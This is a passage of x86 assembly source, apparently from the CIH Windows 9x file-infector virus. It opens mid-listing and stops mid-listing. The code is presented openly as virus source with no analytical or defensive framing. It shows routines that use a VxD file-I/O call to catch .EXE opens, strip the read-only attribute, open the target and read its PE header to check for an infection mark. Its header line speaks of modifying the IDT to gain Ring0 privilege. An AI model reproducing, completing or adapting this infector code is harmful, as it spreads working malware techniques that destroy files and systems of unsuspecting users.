cih1.3.txt

1. Create the Virus Program. * * 2. The Virus Modifies IDT to Get Ring0 Privilege.

; * Specified BCS Character Set.      *                                          
; *************************************                                          
                                                                                 
CallUniToBCSPath:                                                                
                        push    00000000h                                        
                        push    FileNameBufferSize                               
                        mov     ebx, [ebx+10h]                                   
                        mov     eax, [ebx+0ch]                                   
                        add     eax, 04h                                         
                        push    eax                                              
                        push    esi                                              
                        int     20h     ; VXDCall UniToBCSPath                   
UniToBCSPath            =       $                                                
                        dd      00400041h                                        
                        add     esp, 04h*04h                                     
                                                                                 
; *************************************                                          
; * Is FileName '.EXE' !?             *                                          
; *************************************                                          
                                                                                 
                        ; cmp [esi+eax-04h], '.EXE'                              
                        cmp     [esi+eax-04h], 'EXE.'                            
                        pop     esi                                              
                        jne     DisableOnBusy                                    
                                                                                 
IF      DEBUG                                                                    
                                                                                 
; *************************************                                          
; * Only for Debug                    *                                          
; *************************************                                          
                                                                                 
                        ; cmp [esi+eax-06h], 'FUCK'                              
                        cmp     [esi+eax-06h], 'KCUF'                            
                        jne     DisableOnBusy                                    
                                                                                 
ENDIF                                                                            
                                                                                 
; *************************************                                          
; * Is Open Existing File !?          *                                          
; *************************************                                          
                                                                                 
                        ; if ( NotOpenExistingFile )                             
                        ; goto DisableOnBusy                                     
                        cmp     word ptr [ebx+18h], 01h                          
                        jne     DisableOnBusy                                    
                                                                                 
; *************************************                                          
; * Get Attributes of the File        *                                          
; *************************************                                          
                                                                                 
                        mov     ax, 4300h                                        
                        int     20h     ; VXDCall IFSMgr_Ring0_FileIO            
IFSMgr_Ring0_FileIO     =       $                                                
                        dd      00400032h                                        
                                                                                 
                        jc      DisableOnBusy                                    
                                                                                 
                        push    ecx                                              
                                                                                 
; *************************************                                          
; * Get IFSMgr_Ring0_FileIO Address   *                                          
; *************************************                                          
                                                                                 
                        mov     edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]     
                        mov     edi, [edi]                                       
                                                                                 
; *************************************                                          
; * Is Read-Only File !?              *                                          
; *************************************                                          
                                                                                 
                        test    cl, 01h                                          
                        jz      OpenFile                                         
                                                                                 
; *************************************                                          
; * Modify Read-Only File to Write    *                                          
; *************************************                                          
                                                                                 
                        mov     ax, 4301h                                        
                        xor     ecx, ecx                                         
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO            
                                                                                 
; *************************************                                          
; * Open File                         *                                          
; *************************************                                          
                                                                                 
OpenFile:                                                                        
                        xor     eax, eax                                         
                        mov     ah, 0d5h                                         
                        xor     ecx, ecx                                         
                        xor     edx, edx                                         
                        inc     edx                                              
                        mov     ebx, edx                                         
                        inc     ebx                                              
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO            
                                                                                 
                        xchg    ebx, eax        ; mov ebx, FileHandle            
                                                                                 
; *************************************                                          
; * Need to Restore                   *                                          
; * Attributes of the File !?         *                                          
; *************************************                                          
                                                                                 
                        pop     ecx                                              
                                                                                 
                        pushf                                                    
                                                                                 
                        test    cl, 01h                                          
                        jz      IsOpenFileOK                                     
                                                                                 
; *************************************                                          
; * Restore Attributes of the File    *                                          
; *************************************                                          
                                                                                 
                        mov     ax, 4301h                                        
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO            
                                                                                 
; *************************************                                          
; * Is Open File OK !?                *                                          
; *************************************                                          
                                                                                 
IsOpenFileOK:                                                                    
                        popf                                                     
                                                                                 
                        jc      DisableOnBusy                                    
                                                                                 
; *************************************                                          
; * Open File Already Succeed.   ^__^ *                                          
; *************************************                                          
                                                                                 
                        push    esi     ; Push FileNameBuffer Address to Stack   
                                                                                 
                        pushf           ; Now CF = 0, Push Flag to Stack         
                                                                                 
                        add     esi, DataBuffer-@7 ; mov esi, offset DataBuffer  
                                                                                 
; ***************************                                                    
; * Get OffsetToNewHeader   *                                                    
; ***************************                                                    
                                                                                 
                        xor     eax, eax                                         
                        mov     ah, 0d6h                                         
                                                                                 
                        ; For Doing Minimal VirusCode's Length,                  
                        ; I Save EAX to EBP.                                     
                        mov     ebp, eax                                         
                                                                                 
                        xor     ecx, ecx                                         
                        mov     cl, 04h                                          
                        xor     edx, edx                                         
                        mov     dl, 3ch                                          
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO            
                                                                                 
                        mov     edx, [esi]                                       
                                                                                 
; ***************************                                                    
; * Get 'PE\0' Signature    *                                                    
; * of ImageFileHeader, and *                                                    
; * Infected Mark.          *